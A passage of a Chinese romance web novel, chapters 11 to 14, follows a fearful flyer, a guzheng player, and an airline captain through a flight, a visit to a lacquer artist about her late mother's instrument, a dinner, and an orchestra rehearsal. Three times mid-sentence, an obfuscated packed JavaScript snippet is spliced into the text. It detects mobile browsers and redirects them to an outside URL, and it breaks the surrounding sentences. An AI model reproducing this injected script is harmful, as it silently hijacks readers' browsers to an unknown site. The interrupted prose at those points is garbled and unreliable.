徐蔚机长很年轻,感觉和他们差不多的年纪,鹅蛋脸大眼睛,额头光洁扎着一个高马尾,机长的制服为她增添了几分飒爽英气,动人的美! 段莫凡快步走上前,笑着打招呼。 “师姐,你怎么还亲自出来迎接我,受宠若惊。” “大忙人难得坐我的航班,不得出来欢迎一下。” 徐蔚笑起来很甜,嘴边有两个小酒窝,两人友好地握了握手。 然后她看到身后的许黎念,“这位是?” 段莫凡介绍道:“我朋友,许黎念小姐,是个出色的古筝演奏家。” “没有没有,离演奏家还差得很远。” 许黎念连连摆手,演奏家这种称呼让她害臊得脸红,这家伙乱介绍什么。 徐蔚低头笑了一下,“许小姐谦虚了,能得到我们段机长认可的人也不多。” 许黎念一时不知该说些什么,只能尴尬附和着笑笑。 他们两人又寒暄了几句,后面有其他乘客开始上来了。 徐蔚便说:“那祝你们旅途愉快,我先去忙了。” 乘务长亲自带着两人到指定位置,单膝下蹲为他们拿出拖鞋来换。 许黎念连忙说:“我自己来吧。” 乘务长又热情地给她一份菜单,说:“许小姐,要不要先来一杯我们的特调,这款冬季特饮踏雪寻梅口感很好呢。” 如果在平时,许黎念肯定欣然接受,这种又好看又好喝的饮料,谁会拒绝呢,但是现在她没这个心情。 “不用了,谢谢。” 邻座的段莫凡说:“是不是有点偏心,怎么不问我。” 乘务长笑着看向他,“段机长又说笑了,您这还不是回到了自己家。” “我今天可是乘客的身份。” “好吧,那请问段先生需要点什么?” 段莫凡想了一下,摆摆手,“算了,刚吃了一碗米线不饿。” 乘务长又转向许黎念,亲切微笑:“许小姐,有任何需要随时叫我们。” “好。”许黎念点点头。 乘务长正要走,段莫凡又说:“等下给许小姐准备奶油蘑菇龙虾。” 乘务长比了个OK的手势。 段莫凡对许黎念解释:“我们航司的这道菜特别好吃,堪比米其林一星,你一定要尝一尝。” “好啊。”她依然心不在焉。 *** 乘客们陆续登机,而后舱门关闭,飞机推出,开始在跑道上慢慢滑行,接着开始加速。 巨大的轰鸣声让许黎念的心提到嗓子眼,她的后背紧贴着座椅,手紧紧抓着座椅扶手,身体更是因为紧张而微微发抖。 “你怎么了?”段莫凡见状,忍不住问。 “我恐飞。”她梗着脖子死死盯着前方,一动也不敢动。 “啊?”段莫凡愣了一下,完全没料到是这种情况。 “我妈妈……空难走的。” 她微微转动脖子,看了他一眼。 就在这时,飞机达到了起飞的速度,腾空而起的那一刻,她紧张地连连做着吞咽的动作,抠着扶手的手指因为用力而微微发白。 一只手伸了过来,轻轻覆在她手上,紧紧包裹住。 许黎念惊了一下,看向身旁。 他的脸上没了平时的痞气,是平和的微笑。 “飞机在跑道上滑行,就像运动员在起跑线上热身,需要蓄满力量冲向天空,这可是一段超酷旅程的开场。来,跟着我的节奏,深呼吸。” 说着,自己先深吸一口气,再缓缓吐出。 他的嗓音很沉稳,低低的磁性,在她耳边轻轻缓缓说着。比那天在机长广播里的更平静更缓和。 “吸——呼——” 此刻他像个专业的普拉提教练,许黎念想起上私教课时,教练说的呼吸的重要性。 她跟着他的频率,深深吸气,缓缓吐气,让身体渐渐趋于平静。 他悄悄帮她把椅背往后调一点,一边说:“放轻松,记住这个呼吸频率。害怕就闭眼抓我的胳膊,别怕使劲,我抗造。” 他朝她侧过一点身子,胳膊搁在两人中间的扶手上。 许黎念犹豫了一下,双手轻轻抓住他的胳膊。 抓冷冰冰的扶手和人手是不一样的感觉,人体有温度,有支撑感,更有力量感。 何况他的胳膊肌肉感很足,抓在手心里稳稳的,很有安全感。 飞机还在爬升阶段,每一次变动,她抓着他的手就会收紧一次,甚至缩着脖子把头渐渐靠过去,这种依偎更让人安心。 两人的距离咫尺,他任由她抓着在她耳边轻声宽慰:“不用担心,师姐的飞行技术非常过硬,她是大毕改成为飞行员的,比我这种付出了更多的努力汗水。” “什么是大毕改?” “她大学是学医的,毕业后才改学的飞行,可想而知有多难,她能成为机长,又是多么的优秀!” “事实证明弃医从什么都会成功的。” “嗯?”他不明所以。 “孙中山,鲁迅,毕淑敏,余华,许嵩……”她甚至不用细想,张口就能说出好几个名人。 段莫凡愣了一下低声笑出来,她都能开玩笑了,看来紧张焦虑的情绪有所缓解。 飞机逐渐到达巡航高度,客舱里开始活跃起来,许黎念的脸色也好多了,不再如坐针毡。 窗外蓝天白云,仿佛一幅静态画。 “看,是不是没那么可怕?飞行稳得很,就像在平静的湖面上划船,放心吧。” “会有气流吗?”她还是不放心,最怕突然颠簸。 “今天天气很好,放宽心,我以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542848|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机长的名义担保。” 她唇角弯了弯,终于浅笑了一下。 “或者你可以听着音乐睡一会儿。” 许黎念点点头,戴上耳机打开小说,将位置调到最舒适的位置。 对她来说,没有语调起伏的AI朗读的小说,比音乐更催眠。 “毛毯需要吗?”他问。 “好。” 他便帮她把包装袋拆开,又把毛毯展开来搭到她身上。 “谢谢。”许黎念将毛毯一角往上拉了拉,戴上眼罩,把头歪向靠窗的一侧。 但愿能睡着。 *** 空乘们一边备餐,一边闲聊。 空姐A:“哎哎,段机长旁边那位是谁啊?” 空姐B:“八成是女朋友,刚才两人还靠在一起窃窃私语,那个女的一直抱着他的胳膊,头也靠着,一副小鸟依人的模样,亲密的很。” 听了这些话,空姐A探出头,往客舱里瞥了一眼,又迅速撤回。 “太肉麻了,睡觉还抓着手呢,一副柔弱林妹妹需要呵护的样子,我要是男人也动心,什么时候我才能学会这样式的。” 空姐B叹道:“狐媚子也是要天赋的,你我看上去不像是柔弱不能自理,毕竟能徒手关舱门,算了啦。” 空姐C听了一会儿也加入聊天,“哎,是不是那个古筝小仙女啊,云城玩好了,改去扬城啊,天南海北的跨度这么大真会玩。” 然后空姐A像想起了什么似的,掏出手机。 “你们看看,云城机场有同事拍到的。” 几人凑上去,只见画面中: 段莫凡穿着一件黑色的半拉链毛衣,露出一点打着黑色领带的水灰色衬衫领子,一副黑色的墨镜更衬得他轮廓分明立体,他的衣袖半撸到小臂,一手拉着一只巨大的黑色的箱子,一手拉着他的飞行箱,步伐轻快且随性,是那种雅痞的感觉。他的身姿挺拔,身高又高,在熙攘人群里格外引人注目,回头率极高。 而许黎念跟在他身后,头戴一顶棒球帽看不清五官表情,穿了一件黑白条纹开衫,下身是丹宁色高腰直筒阔腿裤,斜挎一只黑金小包,身材比例很好。 两人站在一起,她大概到他肩膀处,看起来很登对,很养眼。 两人是去托运行李,他时不时地转头和她说些什么,但是她的表情淡淡的,没有一丝笑意。然后就是他忙前忙后,把所有的箱子搬上履带。 几人看了忍不住啧啧吐槽。 “哎妈呀,真像只开屏的孔雀,看起来好舔狗。” “这么说大家都没机会了呗。” “这可不一定,以他的尿性说不定处几天就掰了。” “虽然感觉他撩了很多人的样子,可是你们见谁和他真的处了,好像从没见他身边带过谁。” 几人思索了一下,好像的确也是这么一回事。那么段机长花心的言论到底是怎么传开来的呢?又或者说他藏得深,每一任都给足钱,所以没人出来捶他? “不过这位小姐姐肯定不差的,弹古筝的首先气质就不会差,看视频里身材体态也很好,再看她拉夫劳伦的帽子,ami的开衫,萨洛蒙的鞋,香奈儿的包,裤子看不清是什么品牌,这一身打扮至少也中产了,经济条件也不差。” “对嘛,机长又不傻,肯定不会找牛马,就算是灰姑娘,别忘了也是贵族。” 正聊得欢,乘务长拉开帘子走进来打断他们。 “聊什么呢,赶紧做事。” *** 飞机终于平稳降落在扬城机场。 许黎念松了一口气,刚才她睡着了,降落时段莫凡才叫醒她。 第一次,没有靠镇定药坐完了一整趟行程。 她自己都感到诧异。 “这次多亏了你,非常感谢。” 许黎念看着他,目含谢意。 段莫凡又恢复了平时那种随性不羁的姿态,“小事儿,以后飞行,我罩着你。” 许黎念笑,“那我也不可能每次巧到正好坐你的航班。” “你去哪儿,我飞哪儿。” 开玩笑不打草稿。 许黎念一笑了之,“神经,航司你家开的啊。” 12. 第 12 章 “好看的,很美。” 扬城最美的季节是春天,现在冬天是旅游淡季,小城静谧又安逸。才吃过晚饭,天就黑透了。 走出餐厅,一阵寒风迎面吹来,许黎念打了个哆嗦,裹紧了羽绒服。 “唔~好冷!” 这里不比云城,冬天又湿又冷,不穿羽绒服根本扛不住。 段莫凡也把拎在手上的羽绒服准备套上,忽然又像想到什么似的,将袖子撸起。 “你看。” 就着路灯光,许黎念看到他手臂上有几道手指印,可见她在飞机上抓得有多紧。 她有些难堪地一笑,“抱歉啊。” “就当肌肉松解了。” 他将袖子拉下,快速套上羽绒服。 天气很冷,路上行人寥寥无几,餐厅在大运河边,两人沿着河边走了一段,段莫凡忽然提议,“要不要坐游船?” 听说大运河的夜景很美,现在时间还很早,回酒店也没啥事干,许黎念便欣然接受,坐在船里总比压马路暖和。 这个天坐船的人也没有,两个人算是包船,是那种仿古的画舫,里面开着空调倒是不冷。 游船悠悠前行,两岸灯带七彩流光,水面泛起彩色的波光。 两个人一人一排位置,一前一后坐着看了会儿夜景,其实也无聊。 许黎念看到船舱前面有一台古筝,便起身走了过去。随手拨了下琴弦,发现音调不太准。打开调音盒,里面放着扳手,便坐下来调音。 段莫凡也走了过去,在靠近古筝的位置坐下,诧异道:“这么厉害,不用调音器都行?” “嗐,其实这算不得什么,也是基本功来的。” 她低着头拨弄一番,又试了一遍音,才满意地点点头。 段莫凡挑挑眉,“弹一首。” 许黎念沉吟了一下,似乎在想弹什么曲子。 “好,你猜猜是什么歌。” 清脆欢快的旋律响起,许黎念弹了几句,微微停顿,“熟悉吗?” 段莫凡点头,“初见端倪。” 有点熟悉,但就是想不起是什么。 许黎念笑,“再听几句。” 然后段莫凡挑挑眉,直接唱了出来,“再见了妈妈,今晚我就要远航?” “哈哈哈,是的。”许黎念笑着停下来,“你也看过《快乐星球》!” 段莫凡耸耸肩,又唱一句耳熟能详的歌词,“你的童年我的童年好像都一样。” 许黎念马上抬手弹出这段《家有儿女》的旋律。 段莫凡跟着动感的节奏点头摇晃,叹道:“想不到这些歌曲用古筝弹奏这么好听,别有一番风味。” “那当然,演绎现代流行歌曲一样好听。” 那时候妈妈还没出事,家庭还是幸福温暖的,比电视里的小朋友还要幸福富裕,每天无忧无虑,最痛苦的也不过是妈妈逼她练琴,那些美好的童年回忆将永远留在她的心间。 许黎念感慨道:“丁凯乐那会儿可是我的童年男神!” 段莫凡切了一声,说:“那你恐怕没机会了,上次刷到新闻,丁凯乐都当爸爸了。” 她在追忆童年,他在泼她冷水。 许黎念无语,“谁问你了!” 被赏了个白眼,段莫凡一手扶额撑在桌上,低头偷笑。 *** 第二天两人前往陈玉英工作室,这次没有拖着不方便的琴箱,而是拍了一些照片,打算先给陈老师看过之后,再去酒店拿也不迟。 踏入工作室,玄关处迎面就是一架巨大的落地漆器屏风,黑漆为底,光亮能照人,四扇屏风是梅兰竹菊与鸟禽的主题,皆由玉石珍宝镶嵌而成,栩栩如生,富贵华美非凡。 再往里走,仿佛进入一个奇幻的世界,灯光柔和地洒在一件件精美的漆器上,螺钿镶嵌五彩斑斓,光彩夺目,像星河般璀璨,美到令人失语,很难用语言来形容。 听到响动,穿着汉服的工作人员迎了出来,“欢迎光临陈玉英多宝嵌工作室。” 许黎念点头微笑,“你好,请问陈玉英老师在吗?” “陈老师正在工作,请问有什么事吗?” 许黎念讲明来意。 对方让她稍等,随即走向内室,很快又出来,歉意说:“陈老师正好有点要紧事在处理,方便的话能不能等她十分钟?” “方便的,当然可以。” 两人便在工作室内四处参观,靠近窗口一片有一些文创产品出售。许黎念很惊喜,居然有民族乐器的鲨鱼抓夹,非常精致,也都镶嵌着螺钿。 她拿起一个古筝造型的,问:“我能试一下吗?” “当然可以。”工作人员给她拿来一旁的镜子。 许黎念抬手将乌黑的长发束起,扭了几下往上一拧,然后拿起抓夹利落夹起,她的头发比较多,抓夹比较大,但松紧度正合适。 她左右扭头照了下镜子,可惜看不到后脑勺,不知道好不好看。 不经意的抬头,从镜子中瞥见段莫凡正站在身后。他双手随意地插在裤兜里,身子微微后仰轻靠在一旁的饰品桌上,带着几分落拓不羁。他正专注地看着她,眼神深邃,仿佛满屋流光溢彩的螺钿都不及她。 镜中这一突然的对视,让她心头泛起一阵涟漪,莫名涌起一阵羞涩,为了掩饰内心的慌乱,她故作镇定,迅速拿起手机,转过头去。 “帮我拍一下背面,看看好不好看。” 她不知道自己的声音里有多么局促。 段莫凡嘴角微微上扬,露出一抹迷人的微笑,走近她,修长的手指接过手机。 就在这时,她感觉有一只温热的手轻轻碰到了她的脖子,她条件反射般地忽地转头。 “你……” 却见段莫凡微微俯身,眼神专注而温柔,轻声说道:“别动,有一缕头发掉下来了。” 未出口的话咽了下去,她感觉他的气息就在自己的耳畔,热热的,带着一些淡淡的木调香水味,她瞬间浑身僵硬,梗着脖子,耳尖微微发烫。 “好了。”他的声音打破了她的屏气凝神。 他把手机递到她面前,满眼堆笑,“好看的,很美。” 许黎念抬眸看向手机屏幕,画面中的自己,微微低着头,露出一截细白的脖颈,青丝柔顺在镜头下微微闪光,古筝抓夹气质典雅,一串咖啡色的流苏垂在后颈处,添了几分灵动娇俏。 最后许黎念买了两个抓夹,打算送一个给顾悠,还买了一只蝶恋花的螺钿首饰盒。 过了一会儿陈玉英从内堂走出来,她跟网上的照片差距不大,穿着一件柳黄色的中式对襟衫,烫着短短的卷发,戴一条硕大圆润的珍珠项链,很是富态。 许黎念迎上去,恭敬地喊:“陈老师,您好。” 陈玉英很随和,看着两人面带笑容,“你们好,小助理说来找我修古筝的?” “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542849|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对。”许黎念赶紧打开手机相册。 “里面谈吧。” 陈玉英引着两人进到一间会客室,里头的家具同样是中式大漆螺钿的,茶桌中央镶嵌着鱼戏莲叶的图案,四个角也镶嵌着传统回字纹。 段莫凡都在一旁感慨,“陈老师,您这茶桌实在太精美了,怎么舍得放茶杯。” 夸自己的东西漂亮自然开心,陈玉英呵呵笑,坐在主位泡茶。 三人浅喝了几口茶之后,许黎念把拍的图片给陈玉英看。 陈玉英仔细看了一会儿,点点头说:“这古筝的漆面和饰面是我做的,用到的材料有夜光螺,珍珠贝,石决明,玳瑁还有红玛瑙,这得有几十年了吧?” 许黎念在一旁说:“有三十年了,这是我妈妈的古筝。” 陈玉英一边点头一边说:“我做的乐器不多,这台古筝我记得很清楚,图样都是客户提供的,用到的材料设计稿改了好几次,才达到逼真又流光溢彩的最佳效果。” “陈老师,您还记得这古筝是和谁一起合作的吗?” 陈玉英脱口道:“当然记得,陆云深,你们知道的吧,他在古筝届名气很大的。以前我们是街坊,我回扬城开工作室还想拜访叙叙旧的,可惜听人说已经搬离扬城,去了哪里我现在也不清楚。” 许黎念听她说话轻松,不似陆老那般忧思难解,便说:“陆老在云城,其实我们刚从云城过来。” “哦?”陈玉英惊讶了一下,叹道:“我们有很多年没见了,他过得还好吗?” 许黎念摇摇头,“说实话,不太好,陆老得了肺癌。” 陈玉英愣了一下,然后沉默着喝了口茶,似乎没料到这种事,半晌叹口气,“唉,世事无常,人生难料。” 许黎念和段莫凡交换了个眼神,试探性地开口。 “陈老师,您当年收到过陆老的一封信吗?” 陈玉英疑惑,“信?什么信?” 她的表情一点儿也不像装的,是真实的第一反应。 许黎念和段莫凡面面相觑,所以她根本没收到过信! 这乌龙! 许黎念沉吟了一下,还是决定把从陆云深女儿那里听来的事讲了一遍。 陈玉英听完前因后果,还是长叹口气。 “他这个人就是性格内向沉默寡言,想不到为这点事耿耿于怀了这么些年。” 面相和善舒坦,果然人的心境也是豁达的。陈玉英听完这些事的反应,和许黎念想的不同,没有什么错过的遗憾。 陈玉英又说:“怎么说呢,当年我们经常有一些合作,走得比较近常来常往的是有一些好感,但是结婚我是完全没考虑过的,就算收到了那封信,我应该也会委婉拒绝。当时厂子里已经很不景气,在南方的表姐几次打电话让我过去,我其实已经做好了准备。” “走的那天,我和要好的几个朋友都告别了,也去了他家,门关着,但是里面有还珠格格的声音传出,我敲了几下门没人开,就走了。” 许黎念不知该说点什么好,想不到陆老的心结,其实连错过都算不上。 “唉,他这人……小姑娘你有他的联系方式吗,我给他打个电话,都这把年纪了,还有什么看不开。” 许黎念忙说:“有,我有他女儿的电话。” 陈玉英很爽快地说:“行,那你们先回去,等我忙完手头的工作,晚些给他打电话宽解一下,等我消息。” 13. 第 13 章 天气很冷,也没太阳,而且昨晚夜游运河像是吹风冷到了,有些感冒的前兆,许黎念便在酒店里喝着热水休息。 躺在床上看了会儿剧,朱玉英老师那边就打来了电话,是个好消息,她已经做通了陆云深的思想工作,并且飞往云城看望他,两人将再度联手修复古筝。 许黎念激动的情绪溢于言表,再三说着感谢的话。同时也提出了一个想法,希望可以在古筝背面刻上自己和妈妈的名字,也算是母女间的一份传承,时刻鞭策自己。 放下电话,许黎念把这个好消息第一时间告诉段莫凡。 消息发出去一分钟,他还没回。 雀跃的心情根本按捺不住,她直接给他打去语音通话。可能她自己都忘了,就在前些天出发之前,她还在腹诽他随便给人打语音很冒昧。 接通的那一刻,她就立刻说:“我的古筝有救了,明天终于可以回江城了!” 语气都带着轻快。 “你听起来兴奋得能起来犁两里地。” 很奇怪的比喻,但她确实高兴得想高歌一曲。 “那肯定啊,解决了一件大事,你难道不开心吗?” 再请假,估计乐团能开除她,这下她可以回去好好安心工作了。 而且扬城离江城比较近,坐高铁就行,不用因飞行而焦虑。 “开心啊。” 他的声音听起来有些喘,呼吸声有点大有点重…… “你……在忙?” “嗯。” 简短的要命。 “抱歉,打扰了。” 说着,她就立刻挂断了通话。 早就听闻他们那个圈子有点乱,果然啊! 臭男人,也不怕得病! 激动的心情被这事一冲击,立刻不嗨了。 同时她又觉得自己在不爽什么呢,反正得脏病的又不是自己,根本与她无关啊。 就在这时,段莫凡回拨了过来。 这么快就完事了? 外强中干,银样镴枪头! 鄙夷地犹豫了一下,她还是接了。 “忙完了?” 他一头雾水,“什么忙完?我在五楼健身房,你刚才要说什么?” 所以他是在运动,真的是运动,所以气喘。 是她想岔了。 隔着屏幕,她红温了。 她支支吾吾,“就是想跟你分享这个好消息。” 其实她原本是想请他吃晚饭,当作这些天的感谢,顺便告个别。 “就这样?” “不然呢?” 轻笑声从电话那端传来,他说:“晚上一起吃个饭。” 明明就是她要的结果,却偏要说:“这些天早中晚三顿,哪一顿没在一起吃?” 从到达云城的第一顿菌子火锅到今早的扬城早茶,不知不觉在一起吃了好多顿饭。 他轻笑,“不一样,这是庆祝的晚餐。” *** 段莫凡订了一家法餐厅,装潢典雅,钢琴清幽,墙上是文艺复兴时期风格的壁画,暖色的灯光倾斜在铺着白色桌布的餐桌上,桌上整齐地摆着白瓷餐盘和银色刀叉,高脚酒杯晶莹剔透,银色烛台上白蜡烛幽幽燃着,衬得旁边一支蝴蝶兰格外艳丽。 “喝点酒?” 段莫凡拿着酒水单递给许黎念。 许黎念点点头,拿着酒水单看了一遍,一堆法文里面夹杂着一些中文字,看得人眼花缭乱。 “我不太懂酒,你点吧。” 他问:“海鲜过敏吗?” “不过敏。” 段莫凡挥来服务生,说:“请给我一支2015年的侯伯王干白。” 白葡萄酒通常搭配海鲜和白肉,他还挺细心,先问她是否海鲜过敏才作决定。 许黎念的目光在酒水单上搜寻,然后在他说的酒名称上停住,瞪大了双眼。 “没必要如此破费。” 如此贵的酒让她心生不安,都说礼尚往来,她这得欠多少人情啊! “不必在意,庆祝嘛,难得的。”他耸耸肩,一脸随意,而后又说:“这款酒比较适合女士,也不用长时间醒酒。” 很快服务生拿来酒给他确认,然后当面开瓶,并倒了一小口给两人试酒。 入口是柑橘柠檬类混着淡淡花香的清爽口感,酸度也还行。 “可以吗?”他看着她询问。 “嗯。”她点点头,其实真的不懂酒,他说什么就什么,不难入口就行。 开胃前菜很快上来,是鱼生薄片。 三文鱼鲜嫩,带着柠檬汁的酸香和橄榄油的柔滑,罗勒清香,半个芭乐清甜,整体很清新爽口。 不远处悠扬的小提琴声传来,许黎念不由得抬头循声望去。 见斜前方的餐厅角落里,有一家三口正在给孩子过生日。小女孩大概六七岁,扎着双马尾,穿着库洛米的蓬蓬裙,头戴生日皇冠,正双手合十在许愿。小提琴拉着生日快乐歌,年轻的爸爸在一旁笑着轻拍着手跟唱,妈妈在一旁拿着手机记录。 其乐融融的一家三口,好幸福,真像曾经的自己。 许黎念端起酒杯默默喝了一口,轻叹了口气。 不想被段莫凡听到,问:“不合口味?” 她摇摇头,感慨:“妈妈总是那个记录的人,自己却很少出现在镜头里。” 她的妈妈也是如此,童年的影像里,有各种各样生活化的随拍,有去游乐园坐旋转木马,有穿着漂亮洋裙过生日,有吃意大利面糊一脸番茄酱,还有不想练古筝哇哇大哭的,妈妈却总是那个手持DV的人,只能听到她在画面外的声音。 段莫凡顺着她的目光看过去,知道她肯定是想起了去世的妈妈,便安慰道:“其实换个角度,妈妈的爱都在记录里了,你看那位妈妈笑得多开心。” 那位年轻的妈妈满眼都是女儿,眉眼舒展的笑容始终挂在脸上,一边拍一边也唱着生日歌,同时指导着女儿许愿,吹蜡烛,看镜头,摆姿势。 她的妈妈也是,画外音里,她的语气都是愉悦的,还有很多哈哈哈的笑声,听着就是发自内心的。 想起那些美好,许黎念莞尔一笑,端起酒杯轻抿了一口,浓郁芬芳在口腔内蔓延开来,令人回味。 她的目光还停留在斜对面的一家三口身上,温馨美好得让人根本移不开。 “我妈走的时候我才十岁,非常突然,没有留下任何遗言,甚至连尸骨都……” 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542850|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难,什么也没了。 只在飞机残骸烂泥里找到半枚蝴蝶胸针,钻石的所以没被毁尽,最后葬在衣冠冢里了。 过了这么长时间,要平静地说出来,还是有些做不到。 十岁,已经什么都懂了,能够刻骨铭心地感受挥之不去的痛苦。 她吸了吸鼻子,调整了一下,才又说:“其实在很长的一段时间里,我都觉得她只是去很远的地方演出了,可是……” 她的眼神黯淡起来。 “其实我小时候过得也很幸福的,可自从我妈妈走后,一切都变了。” 她兀自说着,声音越来越低落,眼神中流露出一丝难以言说的惆怅。 “什么是爱情呢?”她的视线落在轻轻晃动的酒杯上,“如果真的很爱一个人,爱到送她昂贵奢侈的古筝,爱到在她离去后痛苦的几乎活不下去,可为什么仅仅一年时间就能拥着新人笑?” 她的嘴角带着一点苦涩又不屑的笑意。 段莫凡也端起酒杯浅抿了一口,沉默了一下才开口。 “爱情有千万种模样,痛苦到活不下去何尝不是其中一种?只能说爱的时候没有辜负吧。” 许黎念轻呵一声,“那这种爱时效真短真廉价,我理解不了。” 小提琴手结束斜对面的演奏,餐厅里又恢复安静,离开路过他们桌的时候,段莫凡抬手,轻声将其叫住,微微欠身,低声细细吩咐了几句。 他今天穿的是正装,黑色西服灰色衬衫,系着黑色的领带,他的手指修长,骨节分明,抬起的时候露出一点银色的腕表。 优雅迷人。 轻而易举就能吸引住人。 她亦不能免俗,晃了下神,直到小提琴手转身面向她。 小提琴手姿态优雅,对着她微微颔首,而后开口说道:“段先生说一首《爱的欢乐》送给许黎念小姐,愿她今夜愉悦,好梦。” 是一首很经典的小提琴曲,旋律轻快灵动,令人闻之开怀。 许黎念眼里闪过一丝讶异,没有想到他会这样安慰自己。 她缓缓抬眸,看向对面的男人。他也正看着她,不知是不是她的错觉,或是环境滤镜,烛光摇曳下,他的眼神莫名深情。 她垂眸避开,捋了下落在额前的一缕发丝,而后再次抬眸,唇角微扬,轻轻说了声:“谢谢。” 轻快的旋律在一旁伴奏,两人安静地吃着一道接一道的美食,偶尔有一些眼神交流,偶尔停下手中的动作,静静聆听音乐。 一曲终了,两人几乎同时放下手中的刀叉,轻轻鼓掌致谢。 段莫凡拿起温热的湿毛巾擦了擦手,嘴角带着一抹温和的笑意,“心情有没有好一点?” 许黎念低头一笑,“音乐和美食果然能疗愈人心。” 段莫凡端起酒杯晃了晃,然后手臂微抬,朝她举起。 “敬茫茫人海,有缘幸会。” 他的声音低沉而富有磁性。 许黎念也端起酒杯,手臂微微伸展,与他轻轻一碰。 “敬顺利完成一件大事,感谢你庆祝的晚餐。” 他扬眉一笑,“只要不是最后的晚餐。” 她笑得眉眼弯弯。 “很高兴认识你,段先生。” 14. 第 14 章 早上九点,许黎念提着两杯咖啡走进江城民族乐团,一路快步拐进排练厅。 走在过道里就能听到丝竹声声,勤快的同事们已经开始一天的排练。 从扬城回来之后,她便投入到乐团的紧张排练之中,直接忙成两点一线,快过年了,演出工作比较多。 “早,念念。” “早,新出的口味给你带了一杯。” 许黎念一边在自己的位置坐下,一边把咖啡递给一旁的琵琶手。苏苏是她在团里比较要好的同事,两人经常互带好吃好玩的。 “谢谢。”苏苏停下正绑着的义甲,接手过去,随口问:“你的古筝修好了吗?” “没有那么快,估计得年后吧。” 陆云深身体不好,得慢慢来,反正只要能修,她也不急。 苏苏说:“你还挺厉害的,能把陆云深请出来。” “嗐,我哪有那么大本事,也是托了人的。” 许黎念说着拿起咖啡喝了一口,皱了皱眉,“不好喝,踩雷了。” 苏苏听了,也拿起喝了一口,“我倒觉得还行。” “太酸了,我喜欢平衡一点的口感。” 就新口味的咖啡交流了两句,许黎念把咖啡杯放下脚边,问:“什么调?” 苏苏答:“G。” 许黎念便开始埋头调音。 说起民乐,大众很容易就想起古筝,古筝在独奏中很亮眼,好像很普通的曲子用古筝来演绎都很好听。但其实古筝在民乐团中的位置有些尴尬。通常一个七八十人的乐团中,古筝只需要一两个。同样是弹拨声部,不像琵琶,中阮,大阮的配置那么多。 究其原因,大概是在团队合奏中古筝转调比较麻烦,需要频繁移码调弦,而且余音长容易与其他乐器声音混合,在弹拨乐器中又没有琵琶的颗粒感来得有特色。 合奏中需要古筝的时候,大概率曲子本身以古筝为主体,或者需要古筝特有的技法来推动乐曲情绪。 所以学古筝的想走乐团这条路的其实不太好找工作,很多人学校里就转其他乐器了。 她算是幸运的,去年音乐学院硕士毕业,当时江城民乐团正好招人,其中古筝就招一人,被她给考上了。 “对了,我中午去拿两张票子送人,要不要一起去?”苏苏凑过来。 许黎念正在熟悉曲谱,说:“好啊。” 之前答应要请段莫凡看演出的,这次正好有机会。 苏苏诧异,“你之前不是都不要的吗?” “不要白不要。” 苏苏笑,“对啊,就是放网上赚点小钱钱也好啊。” 两人正你一句我一句地聊着,有从门外快步进来的同事提醒,“赶紧的,瞿指来了。” 瞿指挥在业内很有名气,拿过许多大奖,专业度很高,敬业追求完美,所以特别严格还爱骂人,每一次骂人前他总会先笑一下,大家私下都称是死亡之笑。不过他对事不对人,私下还是一个很和蔼的小老头。 原本轻松的氛围一下紧张了起来,大家都变得规矩起来,许黎念和苏苏也赶紧坐端正忙起来。 一头花白蓬松长发的男人走了进来,不怒自威,带有绝对的压迫感。 他没有什么寒暄,在指挥席上坐下,扫视了全体乐手一圈,看到准备工作都做好之后,便开始合排。 二胡有个细小的瑕疵都被他指出来,在重新来过两次还是没有修正过来之后,他露出了死亡之笑。 众人倒抽一口气,心提到了嗓子眼,果然一顿劈头盖脸的痛骂如约而至,骂的全体二胡抬不起头,心有余悸。 好在第三次合得很好,瞿指挥脸色稍霁。 “类似的问题,我再找几个。”瞿指挥快速翻动着乐谱。 众人像被抽查考试,聚精会神起来。 翻动乐谱的手停住,瞿指挥说:“108小节。” 大家都刷刷翻谱子到相应位置。 瞿指挥看向正中后排的位置,“108小节,来,高音笙和笛子,一共4个小节,预备,3,4——” 清脆的声音迸发出来,似空谷鸟叫。 这次他很满意,拍了下大腿,“对,就是这个力度,漂亮,弹性出来了。” 整个曲子,二胡和大提琴最忙,弦都快拉冒烟了,许黎念却闲出屁来,但也只能干坐着,留心等待自己的部分,就怕到时候被突然cue到进错节拍被骂。 许黎念刚打了个哈欠,就听得瞿指挥忽然说:“这次63小节,古筝solo。” 许黎念赶紧做好手势,聚精会神,蓄势待发。 “预备,2,3,起——” 古筝独特的音色在排练厅里回荡,全场只有她一个古筝,孤军奋战,没有摸鱼的可能性,容不了一点错。 指挥棒再次指向她。 “不渐强,再来一次。” 看来没有做到最好,许黎念深吸一口气,重新开始。 “哎——好,摇指保持,刮奏——” “不错,情绪到位了。” 